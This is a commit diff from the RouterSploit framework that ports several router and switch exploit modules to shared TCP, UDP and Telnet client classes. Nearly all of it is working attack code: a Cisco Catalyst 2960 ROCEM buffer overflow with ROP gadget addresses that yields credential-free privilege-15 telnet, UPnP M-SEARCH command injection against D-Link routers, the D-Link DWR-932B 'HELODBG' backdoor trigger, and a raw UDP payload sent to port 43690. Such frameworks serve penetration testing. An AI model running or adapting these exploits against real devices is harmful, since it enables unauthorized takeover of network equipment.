Unverified Commit 0401a67f by Marcin Bury Committed by GitHub

TCP & UDP based exploits (#451)

* Fixing TCP & UDP based exploits

* Fixing Mikrotik API ROS
parent 214a5447
......@@ -71,6 +71,7 @@ class Exploit(TCPClient):
def check(self):
tcp_client = self.tcp_connect()
if tcp_client:
self.tcp_close(tcp_client)
return True
return False
......@@ -78,7 +79,8 @@ class Exploit(TCPClient):
def check_default(self):
self.credentials = []
self.run_threads(self.target_function, self.defaults)
data = LockedIterator(self.defaults)
self.run_threads(self.threads, self.target_function, data)
if self.credentials:
return self.credentials
import socket
import telnetlib
from routersploit.core.exploit import *
from routersploit.core.tcp.tcp_client import TCPClient
from routersploit.core.telnet.telnet_client import TelnetClient
class Exploit(TCPClient):
class Exploit(TCPClient, TelnetClient):
__info__ = {
"name": "Cisco Catalyst 2960 ROCEM RCE",
"description": "Module exploits Cisco Catalyst 2960 ROCEM RCE vulnerability. "
......@@ -37,126 +36,126 @@ class Exploit(TCPClient):
# Cisco Catalyst 2960 IOS 12.2(55)SE1
{
"template": (
"\xff\xfa\x24\x00" +
"\x03CISCO_KITS\x012:" +
"A" * 116 +
b"\xff\xfa\x24\x00" +
b"\x03CISCO_KITS\x012:" +
b"A" * 116 +
# first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
"\x00\x00\x37\xb4" +
b"\x00\x00\x37\xb4" +
# next bytes are shown as offsets from r1
# +8 address of pointer to is_cluster_mode function - 0x34
"\x02\x2c\x8b\x74" +
"{FUNC_IS_CLUSTER_MODE}" +
b"\x02\x2c\x8b\x74" +
b"{FUNC_IS_CLUSTER_MODE}" +
# +16(+0) r1 points here at second gadget
"BBBB" +
b"BBBB" +
# +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
"\x00\xdf\xfb\xe8" +
b"\x00\xdf\xfb\xe8" +
# +8
"CCCC" +
b"CCCC" +
# +12
"DDDD" +
b"DDDD" +
# +16(+0) r1 points here at third gadget
"EEEE" +
b"EEEE" +
# +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
"\x00\x06\x78\x8c" +
b"\x00\x06\x78\x8c" +
# +8 r1+8 = 0x022c8b60
"\x02\x2c\x8b\x60" +
b"\x02\x2c\x8b\x60" +
# +12
"FFFF" +
b"FFFF" +
# +16(+0) r1 points here at fourth gadget
"GGGG" +
b"GGGG" +
# +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
"\x00\x6b\xa1\x28" +
"{FUNC_PRIVILEGE_LEVEL}" +
b"\x00\x6b\xa1\x28" +
b"{FUNC_PRIVILEGE_LEVEL}" +
# +12
"HHHH" +
b"HHHH" +
# +16(+0) r1 points here at fifth gadget
"IIII" +
b"IIII" +
# +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
"\x01\x48\xe5\x60" +
b"\x01\x48\xe5\x60" +
# +8 r1 points here at third gadget
"JJJJ" +
b"JJJJ" +
# +12
"KKKK" +
b"KKKK" +
# +16
"LLLL" +
b"LLLL" +
# +20 original execution flow return addr
"\x01\x13\x31\xa8" +
":15:" + "\xff\xf0"
b"\x01\x13\x31\xa8" +
b":15:" + b"\xff\xf0"
),
"func_is_cluster_mode": {
# +12 set address of func that rets 1
"set": "\x00\x00\x99\x80",
"set": b"\x00\x00\x99\x80",
# unset
"unset": "\x00\x04\xea\x58"
"unset": b"\x00\x04\xea\x58"
},
"func_privilege_level": {
# +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr;
"set": "\x00\x12\x52\x1c",
"set": b"\x00\x12\x52\x1c",
# unset
"unset": "\x00\x04\xe6\xf0"
"unset": b"\x00\x04\xe6\xf0"
}
},
# Cisco Catalyst 2960 IOS 12.2(55)SE11
{
"template": (
"\xff\xfa\x24\x00" +
"\x03CISCO_KITS\x012:" +
"A" * 116 +
b"\xff\xfa\x24\x00" +
b"\x03CISCO_KITS\x012:" +
b"A" * 116 +
# first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
"\x00\x00\x37\xb4" +
b"\x00\x00\x37\xb4" +
# next bytes are shown as offsets from r1
# +8 address of pointer to is_cluster_mode function - 0x34
"\x02\x3d\x55\xdc" +
"{FUNC_IS_CLUSTER_MODE}" +
b"\x02\x3d\x55\xdc" +
b"{FUNC_IS_CLUSTER_MODE}" +
# +16(+0) r1 points here at second gadget
"BBBB" +
b"BBBB" +
# +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
"\x00\xe1\xa9\xf4" +
b"\x00\xe1\xa9\xf4" +
# +8
"CCCC" +
b"CCCC" +
# +12
"DDDD" +
b"DDDD" +
# +16(+0) r1 points here at third gadget
"EEEE" +
b"EEEE" +
# +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
"\x00\x06\x7b\x5c" +
b"\x00\x06\x7b\x5c" +
# +8 r1+8 = 0x23d55c8
"\x02\x3d\x55\xc8" +
b"\x02\x3d\x55\xc8" +
# +12
"FFFF" +
b"FFFF" +
# +16(+0) r1 points here at fourth gadget
"GGGG" +
b"GGGG" +
# +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
"\x00\x6c\xb3\xa0" +
"{FUNC_PRIVILEGE_LEVEL}" +
b"\x00\x6c\xb3\xa0" +
b"{FUNC_PRIVILEGE_LEVEL}" +
# +12
"HHHH" +
b"HHHH" +
# +16(+0) r1 points here at fifth gadget
"IIII" +
b"IIII" +
# +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
"\x01\x4a\xcf\x98" +
b"\x01\x4a\xcf\x98" +
# +8 r1 points here at third gadget
"JJJJ" +
b"JJJJ" +
# +12
"KKKK" +
b"KKKK" +
# +16
"LLLL" +
b"LLLL" +
# +20 original execution flow return addr
"\x01\x14\xe7\xec" +
":15:" + "\xff\xf0"
b"\x01\x14\xe7\xec" +
b":15:" + b"\xff\xf0"
),
"func_is_cluster_mode": {
# +12 set address of func that rets 1
"set": "\x00\x00\x99\x9c",
"set": b"\x00\x00\x99\x9c",
# unset
"unset": "\x00\x04\xeA\xe0"
"unset": b"\x00\x04\xeA\xe0"
},
"func_privilege_level": {
# +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr;
"set": "\x00\x27\x0b\x94",
"set": b"\x00\x27\x0b\x94",
# unset
"unset": "\x00\x04\xe7\x78"
"unset": b"\x00\x04\xe7\x78"
}
}
]
......@@ -172,13 +171,12 @@ class Exploit(TCPClient):
print_status("Trying to connect to Telnet service on port {}".format(self.telnet_port))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target, int(self.telnet_port)))
tcp_client = self.tcp_connect()
if tcp_client:
response = self.tcp_recv(tcp_client, 1024)
print_status("Connection OK")
print_status("Received bytes from telnet service: {}".format(repr(s.recv(1024))))
except Exception:
print_status("Received bytes from telnet service: {}".format(repr(response)))
else:
print_error("Connection failed")
return
......@@ -191,25 +189,25 @@ class Exploit(TCPClient):
print_status("Unsetting credless privilege 15 authentication")
print_status("Sending cluster option")
s.send(payload)
s.close()
self.tcp_send(tcp_client, payload)
self.tcp_close(tcp_client)
print_status("Payload sent")
if self.action == 'set':
print_status("Connecting to Telnet service...")
try:
t = telnetlib.Telnet(self.target, int(self.telnet_port))
t.interact()
except Exception:
telnet_client = self.telnet_connect()
if telnet_client:
self.telnet_interactive(telnet_client)
else:
print_error("Exploit failed")
else:
print_status("Check if Telnet authentication was set back")
def build_payload(self):
payload = self.payloads[self.device]['template']
payload = payload.replace("{FUNC_IS_CLUSTER_MODE}", self.payloads[self.device]['func_is_cluster_mode'][self.action])
payload = payload.replace("{FUNC_PRIVILEGE_LEVEL}", self.payloads[self.device]['func_privilege_level'][self.action])
payload = payload.replace(b"{FUNC_IS_CLUSTER_MODE}", self.payloads[self.device]['func_is_cluster_mode'][self.action])
payload = payload.replace(b"{FUNC_PRIVILEGE_LEVEL}", self.payloads[self.device]['func_privilege_level'][self.action])
return payload
......
......@@ -35,42 +35,40 @@ class Exploit(UDPClient):
print_error("Exploit failed - target seems to be not vulnerable")
def execute(self, cmd):
buf = ("M-SEARCH * HTTP/1.1\r\n"
"Host:239.255.255.250:1900\r\n"
"ST:uuid:`" + cmd + "`\r\n"
"Man:\"ssdp:discover\"\r\n"
"MX:2\r\n\r\n")
cmd = bytes(cmd, "utf-8")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(10)
sock.connect((self.target, 1900))
sock.send(buf)
sock.close()
except socket.error:
pass
request = (
b"M-SEARCH * HTTP/1.1\r\n" +
b"Host:239.255.255.250:1900\r\n" +
b"ST:uuid:`" + cmd + b"`\r\n" +
b"Man:\"ssdp:discover\"\r\n" +
b"MX:2\r\n\r\n"
)
udp_client = self.udp_create()
self.udp_send(udp_client, request)
self.udp_close(udp_client)
return ""
@mute
def check(self):
buf = ("M-SEARCH * HTTP/1.1\r\n"
"Host:239.255.255.250:1900\r\n"
"ST:upnp:rootdevice\r\n"
"Man:\"ssdp:discover\"\r\n"
"MX:2\r\n\r\n")
request = (
b"M-SEARCH * HTTP/1.1\r\n"
b"Host:239.255.255.250:1900\r\n"
b"ST:upnp:rootdevice\r\n"
b"Man:\"ssdp:discover\"\r\n"
b"MX:2\r\n\r\n"
)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(10)
sock.connect((self.target, 1900))
sock.send(buf)
response = sock.recv(65535)
sock.close()
except Exception:
return False # target is not vulnerable
udp_client = self.udp_create()
if udp_client:
self.udp_send(udp_client, request)
response = self.udp_recv(udp_client, 65535)
self.udp_close(udp_client)
if "Linux, UPnP/1.0, DIR-" in response:
if response and "Linux, UPnP/1.0, DIR-" in response:
return True # target is vulnerable
return False # target is not vulnerable
......@@ -30,16 +30,19 @@ class Exploit(UDPClient):
shell(self, architecture="mipsle")
def execute(self, cmd):
buf = ('M-SEARCH * HTTP/1.1\r\n'
'HOST:' + self.target + ':1900\r\n'
'ST:urn:schemas-upnp-org:service:WANIPConnection:1;' + cmd + ';ls\r\n'
'MX:2\r\n'
'MAN:"ssdp:discover"\r\n\r\n')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((self.target, 1900))
s.send(buf)
s.close()
request = (
"M-SEARCH * HTTP/1.1\r\n" +
"HOST:{}:{}\r\n".format(self.target, self.port) +
"ST:urn:schemas-upnp-org:service:WANIPConnection:1;{};ls\r\n".format(cmd) +
"MX:2\r\n" +
"MAN:\"ssdp:discover\"\r\n\r\n"
)
request = bytes(request, "utf-8")
udp_client = self.udp_create()
self.udp_send(udp_client)
self.udp_close(udp_client)
return ""
......
import socket
import telnetlib
from routersploit.core.exploit import *
from routersploit.core.tcp.tcp_client import TCPClient
from routersploit.core.udp.udp_client import UDPClient
from routersploit.core.telnet.telnet_client import TelnetClient
class Exploit(TCPClient, TelnetClient):
class Exploit(UDPClient, TelnetClient):
__info__ = {
"name": "D-Link DWR-932B",
"description": "Module exploits D-Link DWR-932B backdoor vulnerability which allows "
......@@ -23,48 +21,27 @@ class Exploit(TCPClient, TelnetClient):
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(23, "Target Telnet port")
port = OptPort(39889, "Target Telnet port")
def run(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(10.0)
print_status("Sending backdoor packet...")
response = ""
try:
sock.sendto(b"HELODBG", (self.target, 39889))
response = sock.recv(1024)
except Exception:
pass
sock.close()
if "Hello" in response:
print_success("Target seems to vulnerable")
print_status("Trying to connect to the telnet service {}:{}".format(self.target, self.telnet_port))
try:
tn = telnetlib.Telnet(self.target, self.telnet_port)
tn.interact()
except Exception:
print_status("Sending backdoor packet")
if self.check():
telnet_client = self.telnet_connect(port=23)
if telnet_client:
self.telnet_interactive(telnet_client)
self.telnet_close(telnet_client)
else:
print_error("Exploit failed - could not connect to the telnet service")
else:
print_error("Exploit failed - target seems to be not vulnerable")
@mute
def check(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(10.0)
try:
sock.sendto(b"HELODBG", (self.target, 39889))
response = sock.recv(1024)
udp_client = self.udp_create()
self.udp_send(udp_client, b"HELODBG")
if "Hello" in response:
sock.sendto(b"BYEDBG", (self.target, 39889))
response = self.udp_recv(udp_client, 1024)
if response and "Hello" in response:
return True # target is vulnerable
except Exception:
pass
return False # target is not vulnerable
import socket
from routersploit.core.exploit import*
from routersploit.core.exploit import *
from routersploit.core.udp.udp_client import UDPClient
......@@ -62,36 +61,24 @@ class Exploit(UDPClient):
b"\xb8\xf9\x12\x00\xcb\x70\x40\x00\x9c\x70\x40\x00"
)
def run(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(10)
print_status("Sending exploit payload")
sock.sendto(self.payload, (self.target, 43690))
self.content = ""
try:
print_status("Waiting for response")
response = sock.recv(1024)
except Exception:
def run(self):
if self.check():
print_status("Target returned data")
print_info(self.content)
else:
print_error("Exploit failed - device seems to be not vulnerable")
return
if len(response):
print_success("Exploit success")
print_info(response)
@mute
def check(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(10)
sock.sendto(self.payload, (self.target, 43690))
try:
response = sock.recv(1024)
except Exception:
return False # target is not vulnerable
udp_client = self.udp_create()
self.udp_send(udp_client, self.payload)
response = self.udp_recv(udp_client, 1024)
self.udp_close(udp_client)
if len(response):
if response:
self.content = response
return True # target is vulnerable
return False # target is not vulnerable
......@@ -39,6 +39,7 @@ class Exploit(UDPClient):
udp_client = self.udp_create()
self.udp_send(udp_client, payload)
response = self.udp_recv(udp_client, 1024)
self.udp_close(udp_client)
if response:
return str(response[8:], "utf-8")
......
from routersploit.modules.creds.routers.mikrotik.api_ros_default_creds import Exploit
def test_check_success(tcp_target):
""" Test scenario - testing against mikrotik api ros server """
exploit = Exploit()
exploit.target = tcp_target.host
exploit.port = tcp_target.port
assert exploit.check()
# assert exploit.check_default() is None
# assert exploit.run() is None
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment